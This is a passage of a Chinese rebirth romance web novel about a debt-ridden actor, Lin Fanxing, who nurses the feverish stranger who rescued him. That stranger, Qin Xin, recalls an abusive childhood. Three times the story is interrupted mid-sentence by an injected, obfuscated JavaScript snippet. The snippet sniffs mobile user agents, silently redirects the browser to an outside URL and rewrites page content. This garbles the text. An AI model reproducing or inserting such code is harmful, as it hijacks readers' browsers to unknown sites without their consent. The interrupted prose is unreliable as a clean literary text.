“你是什么人?”林凡星看着他的手朝自己的脸伸过来,被活生生毁掉眼球的痛苦再次袭来,然而他已经没有力气再跑。 这个人的手指比那些催账的手指要长要细很多,他会不会是另外一批催账的?林凡星在重生和后怕中胡思乱想,以至于想到……这双手的手指要是戳进他眼窝里,是不是能直接挖出他的眼球? “五万,不要……不要伤害我。”林凡星咽了咽唾液。他惊恐地反应过来这个人未必是好人,因为为了躲债,他租下的房屋住址没有告诉过任何人,能找到他的只有债主。 那只手确实是朝着他的眼睛而来,只不过是压在了他的右半脸上,盖住了他泛红的右眼。 林凡星呼吸停滞。 陌生人伸出另外一只手,在林凡星的左眼前,比出了一根没有血色的食指。 “说,这是几?” 4. 日后报答 声音仍旧透过头盔,听不出情绪,只能看出陌生人尖且明显的喉结不断滑动。林凡星上一次是被人强掰着下巴抬头,这一次被人轻轻地压着右眼睛,眨眼的时候他甚至怀疑自己遇上了疯子。 “是……什么?”林凡星只能这样回答。 他又不是傻子,刚才说话还非常清晰,只不过从3楼摔下又疲于奔命,暂时失去了反抗的能力才身居下风。 我刚才和你说话,说得挺明白的吧?你干嘛这么问我?你是觉得我脑袋不清楚吗? 林凡星不信他只是想问“这是几”,逃离了危险的彪形大汉,他好像掉入了另外一个更危险的陷阱。没想到话音一落,陌生人更近一步,那根手指几乎要触及他的睫毛尖。 “这是几?”陌生人强硬地问。 林凡星刚出虎穴,又进狼窝,狗老天终归还是没放过他。他咬咬牙,伪装冷静地回答:“这是1,我认识。” 那陌生人的肩膀松了一下。但也就是一刹那。 “这是几?”陌生人又问。 林凡星看着眼前那两根瘦长的手指头,还抱有一丝希望,可能这人不是个疯子:“这是2,我认识。” “这是几?”陌生人继续追问。 林凡星彻底认命:“这是3……” 三根手指就在眼前,林凡星着实搞不懂他在干什么。只是压在脸上的那只手太过冰冷,距离他的鼻子过近,林凡星闻到了苦苦的药味。 陌生人的肩膀如释重负地松懈下来,两只手也缓缓放下了。 林凡星就这样不尴不尬地坐着,那人就那样不尴不尬地蹲着。他没有要伤害自己的意思,但是也没有要放他走的意思,雨声还在加大,棚子里两人落汤鸡似的,定格在这一秒。 最后还是林凡星先开了口:“你是谁?留个名字给我吧。我叫林凡星,双木林,凡是……” “然后呢?”想不到那人动作缓慢,说话倒是快,刹那间打断了林凡星的自我介绍。 这个声音让林凡星的耳朵动了动,有些熟悉似的,但一时半会儿想不起来在哪里听到过。也有可能是他听错,从3层楼摔下来谁知道摔没摔坏脑袋。 “然后,我去赚钱,把这份人情还上。”林凡星暂时没法归化他重来一次的人生,可既然回来了,他也算是手握一点金手指。 没想到那人却回答:“我不需要。” 林凡星像看一个怪胎,还是一个无法顺利交流的怪胎:“为什么?你不要钱?” 你不要钱的话……那可真是太好了,我都要口若悬河地赞美你为人正直、大公无私。林凡星嘴唇动动,正要开口,只听那陌生人回答:“因为你没钱。” “……你。”林凡星的话卡在喉咙里,一瞬间从落汤鸡变成了落水狗。这人是未卜先知还是开了透视,他凭什么觉得我没钱? “你也没地方住。”陌生人不等林凡星再开口,这回倒是站了起来。 他骤然的站起又拉回了林凡星的理智,是的,没错,现在自己欠了一屁股债,出租屋肯定也回不去了。手机没拿、衣服没拿,说是身无分文也不为过。更别说住处,现在的林凡星就是丧门星,不会有人收留。 “不劳费心,我自己会想办法。刚才的事情多谢你,你愿意留下手机号和姓名就留一个,日后等我飞黄腾达,一定想法设法找你。”林凡星扶墙而起,挺拔的后背已经起了一片浅红,估计明天就是一片淤青。 “日后?”陌生人又忽然转了过来。 他太奇怪了,黑色头盔完全不透光,让林凡星没法想象这里面究竟是怎么样的一张脸。只能凭借他声音判断……这个人应该年龄不大,和自己差不多。再看他的身型、骨架和皮肤的细腻程度,林凡星又觉得他比自己小。 高中生,大概率是18岁的高中生。 “对,日后报答。”林凡星点了点头,头还有些晕晕的,“你怎么称呼?” 陌生人又安静了。 林凡星猜测这是防备着自己呢,也是,两人萍水相逢,自己的处境一看就是水火之中,被人催债催到跳窗而逃。如果换成自己也不会相信一个欠债逃命的人,不可能告之真实姓名和联系方式。 万一自己走投无路,偏偏赖上他了呢?林凡星分析了一通,目光投向陌生人时还有几分怜悯,对不起,我跟个狗皮膏药似的。 陌生人的胸口起伏很快,看不出是情绪跌宕还是体力不支,快得不太正常。 林凡星也不催他说话,低头检查流血的右脚踝,试着活动了一下。 就在他开始活动左脚的时候,陌生人说:“你可以叫我‘飞哥’。” “飞鸽?鸽子?”林凡星猛地抬起头。 “不是鸽子,是哥弟的‘哥’。就这样。”陌生人替林凡星拿了注意,转身走向了他的摩托车。 “等等……你没有我大吧?你看着就没有我大。我都……”林凡星一步一晃地走过去,开始算年龄。上辈子自己嗝屁的时候是26岁,现在就是24岁,繁星那时候是21岁,现在才19岁…… 而那个该死的秦昕,现在才20岁!呵呵,好年轻,20岁就开始祸害别人的一生,不愧是红颜祸水! “我都24岁了,我肯定比你大吧,所以你应该叫我一声凡星哥。”林凡星从小就给人当哥哥,从来没做过弟弟。 他被留在老家的那些年,周围的孩子都比他年龄小,林凡星又因为从小长得漂亮,不像男娃娃,一直被男孩子排斥,只能和一群比自己年龄小的小妹妹玩。导致他从小就擅于操心,从来没有经历过打打闹闹、肆意任性的童年。 一个缺爱的讨好型人格就这样发育了。 等到爸妈终于接他到身边,好嘛,开始给繁星当哥。 然后和秦昕谈地下情,那阴暗玩意儿比自己小4岁,林凡星又是开始哄弟弟,一直都是照顾人的角色。 习惯成自然,林凡星的惯性还在身体里作祟。现在他无比确认这个陌生人就是小孩儿,百分百当不成什么飞哥。 “所以你到底怎么称呼?”林凡星扶着他的摩托车问,“你上大学了吗?不会还是高三生吧?如果你是高三,我可以给你送锦旗,好人好事、见义勇为的话学校有加分吗?“ 陌生人看都不看他,低头擦着车座:“跟我走,有地方可以住。” 林凡星立马站直了:“谢谢哥。” 连“飞”字都不要了。 不是他狗腿子,而是林凡星这辈子开局不利,败给了“走投无路”4个字。他现在浑身疼,必须找个地方休息几天,才能从长计议。能当狗皮膏药就当吧,大不了以后拍戏赚钱,给这陌生小孩儿买个摩托车。 高中生的心思,应该坏不到哪里去。他这个体格看上去也不是打架高手,如果真要害自己,林凡星认为自己有胜算。俩人无冤无仇的,这人不可能谋财害命,更不可能是见色起意。 林凡星破罐子破摔,在雨势变小之后又一次坐上了摩托车,殷勤谄媚地说:“哥你这车真棒,你给我找地方住,我月结还是日结?能赊账吗?我没钱能给你做饭抵账吗?” 陌生人一言不发,重新发动摩托车引擎,带着身后碎嘴子老妈子一样的林凡星再次冲进了雨里。 雨势明显温柔许多,林凡星这一次紧紧地搂住陌生小孩儿,将额头抵在他明显的脊椎骨上。还说不是高中生,林凡星上高中蹿个儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900704|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时期就和他一模一样,后背那层肌肉被抻拉成薄纸,后颈和后背一个包一个包的,全是骨头。 但也得益于此,高中男生才有一种特定时期的单薄,穿上校服非常白月光,那是专属于那个阶段的生长痛。一旦过了,男人的身体在雄性激素控制下就会宽阔、硬朗,再也回不去。 林凡星就是高中抽条时被经纪人看上,拍摄了他的第一支小广告。 现在他闭上眼睛,一边休息一边回忆上辈子的重要节点,想想哪些节点能拎出来对自己有利。但不知道是不是当哥哥当太久,他脑海里第一个想法还是……找到林繁星。 从他的19岁到21岁,到底发生了什么?如果自己这回能看住他,是不是就能让弟弟走上正途? 林凡星记得他们还小的时候遇上了算命人,算命人是盲人,只会摸他们的手骨推断。那人说林凡星注定大富大贵,但也大悲大喜。俗称“人前喜、人后泪”的命。 当时林凡星还不懂,后来当了糊咖艺人他懂了,“人前喜、人后泪”这不就是戏子? 算命人又摸弟弟的手,说他是兄弟的福星。那回可给繁星高兴坏了,一路说着他是哥哥的幸运星。所以他们兄弟到底是哪里出问题了?上辈子怎么落得那种下场,一个身死,一个生不如死? 如果不查出来,林凡星有不详的预感,这辈子他们兄弟俩还是会遭殃。 “抓紧。”就在林凡星走神的时候,陌生人又一次提醒他,似乎感觉到林凡星因为神游而松开的手臂。 “好,好,我抓紧。”林凡星连忙紧了紧手臂,在圈住陌生人腰部时他又无法控制思绪,想到了那个把他逼到崩溃的秦昕。 不知道现在秦昕对自己是什么感觉?上个月两人才加上联系方式,刚刚开始他们的地下情。那阴暗玩意儿一定很得意吧?把另外一个人的真心耍得团团转,玩弄于股掌之中! 你等着,这辈子我一定不放过你,我不止要把你的感情玩弄于股掌,我还要把你的身体玩弄于股掌,让你清楚谁是大小王! 林凡星越想越解气,严丝合缝地搂着陌生人的腰,心里一句接一句地骂着那个影帝秦昕。阴暗玩意儿你给我等着,这辈子轮到我当渣男,骗你财、骗你身、骗你感情,睡醒就跑,穿上裤子我就不认账! 半小时后,摩托车停了。 入目是一片老小区,林凡星无数次路过这里,却没有进来过。“哥,你住这里?” 陌生人锁好摩托车,点了下头,指了下2单元,意思是进去。 “好。”林凡星紧跟其后,光着脚啪嗒啪嗒走着,又觉得自己占人便宜,便主动说,“你头盔沉不沉?摘了我帮你拿着吧?” 陌生人摆摆手,上了楼梯。 这一上就上了6层,停在了602门口。 林凡星觉得他很怪,比如他那个“飞哥”称呼是怎么来的,比如他为什么不摘头盔。头盔下头的脸是什么样?越想越好奇,是毁容了还是通缉犯? 他看着陌生人在密码锁上按了一串数字,门就开了。 “不好意思,打扰。”林凡星有礼貌,进屋前先鞠了一躬。屋里的摆设非常陈旧,也杂乱无章,看起来很久很久没人回来住。窗外还下着雨,屋子透出了发霉的气味。 “房子挺好,谢谢哥。”林凡星不挑,“拖鞋呢?我去拿拖鞋……” 还未说完,余光里那清瘦的陌生人一把扶住了餐桌,身子晃动几下,胸口起伏比方才还要明显。 林凡星这回可以肯定,他是真的不舒服。“你是不是喘不上气?先把头盔摘了吧……” 不等林凡星伸手扶他,陌生人往后一倒,不堪重负地倒了下去。 5. 初吻给了谁 林凡星顾不上自己的伤,连忙伸手接住了他。 只是陌生人比他高,下坠时显然已经没有意识,接在怀中不仅不轻松反而将林凡星带倒。林凡星又是下意识地往前垫了一步,这才没让两人一起狼狈地砸向桌角。 “嘶……”只是他的垫步最终害苦了他的腰,林凡星的后腰刚好顶到桌角。 顾不上疼,他怀里的人已经以摇摇欲坠的势头掉到脚边,发出一声闷响。林凡星顾不上揉一下后腰,赶紧弯腰去捞,救命恩人已经躺在地上。 这样一摸,手里热得吓人! 这是发着高烧呢?该说不说林凡星太有照顾人的经验,还没搞清楚到底怎么回事,身体已经自动进入了下一个程序——开始左右环视寻找这屋子里的药箱。 看屋里的摆设和家具,林凡星推断这里的居住者大概率是一个老人,而且还是一位老年女性。窗帘和桌布都有淡雅的碎花,瓶子里还插着一束枯萎的向日葵,显然主人翁活得非常认真,并没有亏待自己。 所以一定会有急救的药物,老人的家里不可能不存药。林凡星立即看向玄关的竹编桌斗,这里最显眼,说不定就在这个地方!他两三步走过去,拉开了抽屉,心里不断祈祷这里面一定有药,不然恩人就交代在这里了! 他手机还落在出租房,也没法叫人送药上门! 天灵灵地灵灵,是药是药是药……林凡星将许久未动过的抽屉拉开,目光却模糊了一刹那,看什么都雾里看花。 两三秒之后,林凡星眼前那一层模糊的滤镜消失,他揉了揉眼睛,奇怪,为什么忽然看不清楚?但看清之后,命运还是给他一条生路,抽屉里是无数个白色的小药盒和小药瓶。 太好了!有救!林凡星凌乱地翻翻找找,抽出一盒感冒药又抽出了一盒特效退烧药,拿着药盒跑回恩人身边时他眼前又花了几秒。 等等!怎么回事?林凡星甩了甩脑袋,等着视线恢复清晰。这一次他等了将近半分钟才好,林凡星想不出所以然只能先救人,第一步就是摘掉陌生人的头盔。 发着烧还戴着头盔,不烧死也要憋死了。林凡星自言自语着:“多亏有这个头盔,你摔地上才没磕着脑袋。” 原本他就好奇这位陌生人的模样,但人家不愿意以真面目示人,林凡星也不能强人所难。现在这就不是我的错了,我得摘了头盔让你吃药。 林凡星毫无心理负担地将黑色头盔往上一提,首先看到的是一个轮廓线分明的下颚缘。光是从下颚线推断,林凡星基本上能想象出这人的脸多大,肯定是一张巴掌脸。 清瘦,脆皮,高中生身材。全身上下只有骨头和嘴最硬。还“飞哥”呢,你成年了没有? 来吧,看看你的真容。林凡星再用力,将头盔完全拿下来,然而方才已经出现过两次的眼花又袭击了他的视觉,他只看到救命恩人两片没了血色的薄唇,眼前就陷入了一片漆黑! 怎么回事?林凡星手里的头盔掉在地上,同时也坐在了地上。他将两只手放在眼前乱晃,试图晃出模糊的影子,可这次不止是眼花那么简单,是彻头彻尾的失明! 林凡星在他重生逃出生天之后,又陷入了失明的命运里。 有那么几秒钟,林凡星几乎丧失了全部的求生意志,连动一动的意志都没了,三魂六魄留了一半给上辈子,这辈子浑浑噩噩算了。等到焦急和惊恐开始发散,林凡星呆呆地坐在冰冷的地板上,有一种“老子认命”的摆烂心态。 到底要折腾他到什么时候?林凡星居然笑了。 确确实实是看不见了,但林凡星却不陌生这处境。当年他左眼球不行了,被紧急送进医院,医生检查之后立即安排手术,要摘除他的眼球。他苦苦哀求,多希望医生给他一条生路,哪怕是保留眼球,也别让他的眼睛瘪下去。 “不行,大脑无法识别眼球,但是当眼睛出事的时候它会启动排斥机制,左眼球坏了就必须立马摘除,等到大脑开始攻击右眼球就晚了!” 医生用浅显易懂的话给他讲,当晚就拿掉了他的左眼。但右眼也有损伤,于是林凡星两只眼睛一起蒙上了纱布,度过了1个月的“盲人”生活。 现在,这盲人生活是不是又回来了?林凡星刚准备放弃思考,左脚不经意间碰到了那一具高烧不退的身体。 不行,不能摆烂,还有人要照顾。林凡星苦笑着站起来,总不能丢下恩人不管。好在刚才已经拿出了药盒,林凡星先回忆了一下屋里的布置,再伸直手臂,踉踉跄跄去找餐桌。 餐桌找到了,他顺着墙,去找厨房。 好在这是一居室,使用面积不大,找什么都方便。林凡星像上辈子一样摸索着一切,在厨房摸出了一个碗。他又摸到了水龙头,拧开后听到了水声。 外头的雨好像停了,林凡星歪着头听了两三秒,端着一碗自来水回到了客厅。 一路上全靠摸,双手就变成了他的眼睛。他巧妙地躲开尖角,清楚如何不让双脚和双手受伤,现在同样复制经验。等到他的脚碰到地上的人,林凡星还知道扶着餐桌蹲下去,真是一个把自己保护得好好的小瞎子。 两个药盒不一样大,林凡星摸小的,那是强效退烧药。一片够不够?林凡星将两只手放在救命恩人的身上,开始丈量他的身高和体重。 这样全身一摸,林凡星几乎惊呼一声,这也太瘦了吧!身高倒是不矮,比自己高,目测和手测都有187、188左右,但他身上就像长期遭受虐待而营养不良的状态,肯定不正常。 不知道是怎么撑了一路,要不是撑不下去了也不至于昏迷不醒。林凡星顿时心酸不已,之前他还在心里调侃这人年龄不大,原来他不止是年龄不大,也是个苦命人。 没关系,吃了药就好了。林凡星的手继续往上滑,忽然间,他手一顿,脸一红。 好像摸到了不该碰到的地方……林凡星红着脸偏过去,都说胖子挂辣椒、瘦子挂大树,恩人不愧是恩人,天赋异禀,真、真大,你这方面确实是哥。 但是再大有什么用,体力这么差劲。林凡星摸到了他的面庞,不出所料,手指触碰后判断真是一张巴掌脸。他甚至摸到了恩人脸上的凹凸起伏,想用想象力还原陌生人的模样。山根挺拔、人中清晰、嘴唇薄、下巴尖,这是标准的建模脸吧? 啧啧,这要是在高中校园里能迷死多少人?得是多少人的白月光? 再往上摸了摸,林凡星摸到他扫人指尖的睫毛和眼窝,还有发烫的额头。 先喂药吧,林凡星赶紧干正事,这个身高和体重最起码要吃一颗半的退烧药才够。他用牙咬掉半颗,又拿出一颗完整的,最后用手指勾着陌生人的嘴唇和齿列,挑开一条缝隙。 药塞进去,林凡星摸着放在身边的碗,像盲人摸象那般给他喂水。 水碗刚刚一歪,自来水顺着陌生人的嘴角流到林凡星的手背上,显然一点都没灌进去,他的嘴巴会自动合上。让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900705|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个看不见的人给别人喂水,太难了,林凡星怀疑自己这一碗都倒完也不一定能灌进几口。 特殊情况当然可以特殊处理。林凡星摸着恩人的脸叹气:“这不怪我,不是我要占你便宜,对不住对不住。” 说完他昂头自己含了一口水,低头贴上了陌生人的嘴唇。 嘴对嘴灌进去,这回再也没有水流出来。林凡星刚刚放下心来,然而下一个难关又让他提起心——这人昏迷了根本没有吞咽意识。 唉,拼了吧,人生在世哪有那么多计较,救人一命胜造七级浮屠,再说人家先救了自己,要学会感恩和报答。林凡星沉了沉心思,大恩无以回报,只能如此。 就这样,从来没有接过吻的林凡星伸了舌头。 太奇怪了,感觉像偷偷亲别人,占别人便宜。林凡星浑身不适应,甚至手不是手、脚不是脚,不知道怎么摆姿势。当舌尖触碰到陌生人舌尖时他又有一刹那的抵触和战栗,好奇怪,原来人的舌头是这种触感,比想象中硬。 犹豫几秒之后,林凡星硬着头皮开始动舌头,舌尖在陌生人口腔里滑过,耐心寻找着小药丸。要不容易找了一圈,上颚、齿列、舌面……该碰的不该碰的他都碰了,终于用舌尖将药丸顶进了恩人的嗓子眼。 林凡星抓紧机会,连忙松口,再含一口,低头再把水过给他。 皇天不负有心人,两次之后药丸已经不见踪影,顺着那两口水进入了食道。林凡星大功告成,气喘吁吁地将剩下的自来水一饮而尽。没想到啊没想到,上辈子他没送出去的初吻,这辈子一回来就送了出去。 上辈子还幻想着留给秦昕,这辈子也不知道给了谁。 药也喂好了,让一个病人躺在地上太不像话。林凡星又开始照顾人,晃悠悠地拖着恩人往沙发上搬,好几次自己磕上了茶几。费了九牛二五之力他终于将人弄了上去,试了试体温,还是热得烫手。 不行,得给他擦一擦身上的水,他衣服全湿了,这么穿着不行。林凡星自己湿透也顾不上歇着,两只手摸到陌生人的T恤下摆,顺着他的腹部卷起了布料。往上卷到胸口,林凡星抱着恩人的脑袋,把这件T恤拽离了人的身体。 一拧都能拧出水,他将T恤拧干,甩甩,搭在了旁边的沙发上。再转回来,林凡星开始解救命恩人的裤子。 脱鞋和脱裤子就好办很多,瞎了眼的林凡星将人扒光,连湿透的内裤都没给恩人留下。而后他再次摸着墙去找东西,从洗手间摸出了浴巾,从卧室摸出了被子,将陌生人的身体擦了又擦,严严实实裹进干燥的棉被中。 这下好了吧?林凡星终于有时间自己歇歇,如释重负地倒进了同一个沙发。 好累。林凡星真不想动了,只剩下一点理智用来思考为什么会失明。这辈子眼睛没问题,那么原因就只能往上辈子想……难道说,是因为上辈子咽气前就已经看不见了,所以遗留下一些后遗症? 重生之后,他会偶尔失明? 要是这样还算不错,偶尔失明不要紧,能恢复就好。林凡星最后的理智耗尽,身体和大脑同时断电,最后一个动作就是钻进了陌生人的被子里。 淋了雨好冷,后背好疼,要死了要死了。 林凡星苦兮兮地抱着恩人,原本身上就疼,一想起上辈子秦昕还骗了自己的感情,冷暴力、pua、借钱不还、始乱终弃,更是气上加气。 一个不小心,林凡星把自己气晕了,倒头就睡。 6. 肌肤之亲 好热。 秦昕很少感觉到热,从小他被父母要求洗冷水澡、冬泳、冬天穿着短袖短裤晨练,寒风刺骨才是他的熟悉区。当泼天的暴雨倾泻在身上时,他也不觉得那是冷,只是一种冰雹和雨珠带来的疼。 但是现在他好热。 全身都热起来了,仿佛有一把火在蒸他,将他从无边无际的寒冷里揪了出来。身边的温暖让秦昕不敢相信,哪怕他有“正在昏迷”的意识,也觉得这其实是一场梦境,对吧? 梦一旦醒来,他身边还是一无所有。 真不想睁眼,这个梦很好。 但秦昕只是享受了几秒安稳梦境就不得不睁开眼睛,因为……他半边身子都麻了。起初他还以为这是他吃药的副作用,毕竟他也不知道那些药到底治疗什么,家里从小让他服药,他就吃下。 他们说他身体不好,他也愿意配合检查,想要赶紧好起来。 但是秦昕从来没有被好好地照顾过,要不是上辈子意外发现了不对,他还是吃着药,耐心等待身体康复,根本不知道人生已经偏离了正常的轨道,更不会知道他的精神世界早就岌岌可危,经不起任何的风吹雨打。 几个深呼吸之后,秦昕终于睁开沉重的眼皮。被摔碎骨头的痛感还未褪去,仿佛是上辈子的副作用,一直持续到现在。他想要动一动麻痹的右手臂,奇怪的是他好似经历了一场鬼压床,什么东西压着他,手臂和肩膀根本不能动弹。 不止是肩膀,连右胸口和右腿都动不了。 糟糕!自己是不是偏瘫了! 秦昕连忙再动,右边身体仍旧不为所动,没有任何反应!就在秦昕万念俱灰时,一个圆滚滚又毛茸茸的东西在他右胸口不停拱动,他才发现自己盖着一层厚厚的被子,裹得严严实实,一丝不漏。 那这是……秦昕低头,看到一个完美的圆脑袋,后脑勺的头发翘着,还有一个向右边旋转的发旋? 他这才发现自己还抱着一个人! 原来不是偏瘫,还好还好。秦昕松了一口气。 但这是谁!秦昕又喘不上气了。他烧得反应慢了半拍,一时之间想不出发生过什么,只剩下底层逻辑的自我保护机制,那就是身为一个演员他不能在外头过夜,更不能随随便便晕在别人床上。 演艺圈有着肮脏污秽那一面,就算他洁身自好,也能被无中生有。所以秦昕第一反应是赶紧推开,万一被人留下证据拍了照片,他…… 他…… 他……抱着的人为什么是林凡星啊? 秦昕的动作顿时就停了,再左右环视,上辈子和这辈子重叠的记忆刹那间涌入头脑,像是给记忆打补丁,修复了他方才没想起来的那一段空白。 还是热,秦昕真真实实感觉到了温暖,林凡星的身体像一个小太阳,就这样亲密无间地贴着他,还紧紧搂着他的腰。秦昕小心翼翼试着动了动右腿,算了,动不了,林凡星的一条腿压在他腿上,像缠住了他。 那就……秦昕没想着占他便宜,但他主动抱着自己,自己也没什么理由将人推开,那就继续抱着吧。 呼吸打在他的胸口,秦昕看了一眼自己的左手,这一场突如其来的高烧烧得他手指关节明显发粉,犹如经历了一场蒸馏。他再低下头,奇异的触感让他陌生,为什么凡星的鼻子和他贴这么近,这是正确的姿势么? 秦昕是个好奇心很重的人,就掀开了被子。 好奇杀死猫,也能杀死他。 嗯,全国最年轻影帝被人扒了个精光。 秦昕连忙将被子捂上,怎么都复盘不好发生过的细节,唯一能肯定的就是他救了凡星。这一次他终于把凡星救下来,保住了那双绝无仅有的漂亮眼睛。全世界恐怕只有他和催债的人知道林凡星的住址。 上辈子林凡星出事之后就上了法制新闻,据说是债务欠款导致的行凶,秦昕无从得知为什么那些人要伤他,却牢牢记住了案发地点。他无数次在梦境里去了那个地方,想要计划一条拯救凡星的路。可是为时已晚,哪怕他把那个住址背得滚瓜烂熟,林凡星已经少了一只眼睛。 还好,这辈子他用上了复盘的经验。 但是接下来呢?秦昕摸了摸自己的脸,又摸了摸胸口。衣服肯定是凡星给他脱的,被子也是他拿来。秦昕再看向餐桌和地面,两个药盒和一个空碗静静地留在那里,解释了他昏迷之后发生的一切。 凡星给他找了药,然后脱掉了他湿透的衣服,又从卧室拿出了被子。 秦昕眨了眨眼睛,享受着陌生的照顾。又有一刹那的沮丧,现在的自己太瘦太虚弱,一会儿凡星醒来,他该怎么解释自己的状况? 刚刚这样一想,秦昕怀里的脑袋又一次开始拱动,仿佛非常不喜欢这个姿势,在睡梦中挑剔不停。秦昕不敢乱动,这回真是活在了梦里,他喜欢的人居然照顾了他,还窝在他臂膀里。 尽管他现在的臂膀还不够强壮。 林凡星又扭了扭屁股,从侧卧改成了平趴。刚刚露在外头的一只脚也缩进被里,冰冷的脚寻找着热源,贴在了秦昕的小腿上。 秦昕有一种“不太好”的预感。 下一刻林凡星贴着他的胸膛,趴到了他的身上。 秦昕大气都不敢喘一下,从未经历过亲密接触的人一下子手足无措,浑身僵硬。他从小就没有享受过正常的触碰,从有记忆以来,秦昕就知道他的母亲乔莲非常憎恶他。连嫌弃都没有,是明晃晃的憎恶,有时候她会痛恨地拧青秦昕的手臂和脸蛋,在他肩膀咬出一个又一个血淋淋的伤口,有时候又会疯狂地摇晃着他,将他丢在一边。 她用针扎他,用打火机烧过他的手,用皮带抽打过他的后背。她歇斯底里,哭嚎不停,把毫无反抗能力的秦昕关到阳台暴晒。 然后她会叫来秦昕的保姆杨素,让杨素把秦昕带走,这几天都不要让她看到。看不到母亲的日子于秦昕而言反而是好日子,保姆杨阿姨会抱着他落泪,又不能反抗女主人。 在最需要母亲的那几年,秦昕只有一个巨大的玩具熊和一条狗陪着他。他将玩具熊当作妈妈,试图找到被母亲拥抱的感觉,有时候也会自己抱着自己,幻想妈妈突然间变好了。 但是乔莲仍旧会虐待他,只是不伤害他的脸。只要秦昕一生病,她就好受些了,会停止虐待,精心地照顾孩子一阵。 秦昕慢慢长大,“希望母亲变好”的幻想一直持续到他12岁。父亲秦光泽,那个著名的大导演,为了拍他呕心沥血的电影,决定献祭一样培养他的独生子,也就是秦昕。 而他干的第一件事就是烧了秦昕精神上的母亲,那个从秦昕4岁起就陪在身边的巨大玩具熊。他还说这是艺术家之路,只有在“本我”发育之前造成重大打击,人的“超我”才会飞速发育,从而精准地演绎出各样情绪。 他干的第二件事,就是逼着秦昕看着他杀了那条狗。那是一条年老的杜宾犬,当秦光泽走向它的时候,它还以为主人想要摸摸它,从未想过伤害家庭里的任何一员。它明明可以跑,在秦光泽用铁棍打伤它脑袋的时候它明明已经跑出了院子,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900706|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类是多么狡猾啊…… 秦光泽开始播放音频,音频里是秦昕的声音,叫着它的名字,让它回来。 它满头是血,摇摇晃晃地跑了回来,寻找它唯一的小主人。然后就再也没有跑出去,最后也被埋在院子里。 两年后,秦昕14岁荣登最年轻影帝宝座,演技精湛横空出世。别人说他是大导演秦光泽和女明星乔莲的独生子,这是他理应继承的天赋。 现在,22岁的秦昕重新回到了20岁,看着24岁的林凡星。他陷入迷茫,原来这就是肌肤之亲?暖暖的,很舒服,他很喜欢。 不够,仅仅是趴在自己身上睡觉还远远不够,他还想要。 秦昕皱着眉头,开始适应他渴望又陌生、甚至半带推却、婉拒又恐惧的零接触。这真的太陌生了,林凡星的鼻息就在他颈窝里,热乎乎喷上去,断断续续很有节奏。窗外明明已经是天亮,可秦昕多希望还是黑夜,这样他们就能重新再睡一觉。 他的身上好像也没有多少肉,比镜头里看着瘦。 秦昕忍不住将手搭在他后背上,自己是上过大荧幕的人,自然了解什么叫“上镜胖10斤”。林凡星的肩胛骨平铺后背两侧,中间是背沟一道凹陷,T恤不知不觉卷到胸口,皮肤大面积露着。 他硌着秦昕的肋骨。 秦昕想要换个姿势,手往左侧撑了撑。林凡星不仅没有睡醒,反而继续更换最舒服的睡姿,一条腿往上弯曲,搭在了秦昕的胯骨上。 秦昕更热了,人生中从来没有这么热过。 他真的不想占便宜,但这个姿势就把林凡星的便宜占尽了。他想要挪开他,然而一伸手就是林凡星的臀部。 这里倒是很有肉……秦昕飞速地眨着眼睛,等等,这不对。 简直是煎熬,秦昕只能变成一个被下了定身咒的人,定格在这个姿势上,否则任何细微移动都会变成摩擦。为了不发散思维,秦昕强迫自己去想点别的,短时间规划好了这辈子的重生道路,也就在这时,身上的人终于醒了。 林凡星是被硌醒的,什么东西这么硬? 秦昕的呼吸顿时暂停,刚才还压在他颈窝里的那张脸抬了起来。 “嗯?”林凡星睡得迷迷糊糊。 秦昕大气都不敢出,他会不会认出自己是谁?应该会吧?14岁那年他们见过,林凡星一直在娱乐圈,一定不会忘记他的模样。况且自己还是最年轻影帝…… “你好了吗?”林凡星双目无焦地问。 秦昕的鼻梁骨上都是细密的汗珠,还未开口,一滴汗从他的喉结斜滑而过,炙热的胸口被林凡星压住。 “我现在看不见,你是不是醒了?”林凡星还未恢复视力,他觉得陌生人醒来了,只是不知道他为什么不说话。 看不见了?秦昕的脑袋里轰隆一声,昨天是不是磕到他脑袋了? “你昨天发烧,我给你喂了药,把你弄沙发上来了。哦对,衣服是我脱的,不好意思。”林凡星摸到了那人的胸口,这才知道自己是趴在他身上,连忙滑下来变成了侧躺,“你不用担心我,我眼睛过一会儿就好。” “什么?”秦昕的手在他眼前晃了晃。 等等,这个声音……林凡星忽然歪了歪头:“咱们……以前是不是见过?为什么我听你说话这么耳熟?” 他又习惯性地伸手触碰一切,右手顺着陌生人的胸口往上摸索,不知道最后要干嘛。 在身体和心灵双重虐待下长大的秦昕连如何动都忘记了,第一次被人摸到了嘴唇。 7. 我讨厌秦昕 